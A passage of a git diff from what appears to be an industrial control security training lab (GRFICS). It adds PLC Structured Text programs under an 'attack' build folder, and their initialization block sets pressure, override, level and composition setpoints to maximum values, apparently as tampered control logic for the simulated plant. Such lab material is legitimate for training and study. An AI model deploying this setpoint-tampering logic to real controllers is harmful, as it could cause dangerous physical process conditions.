uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + 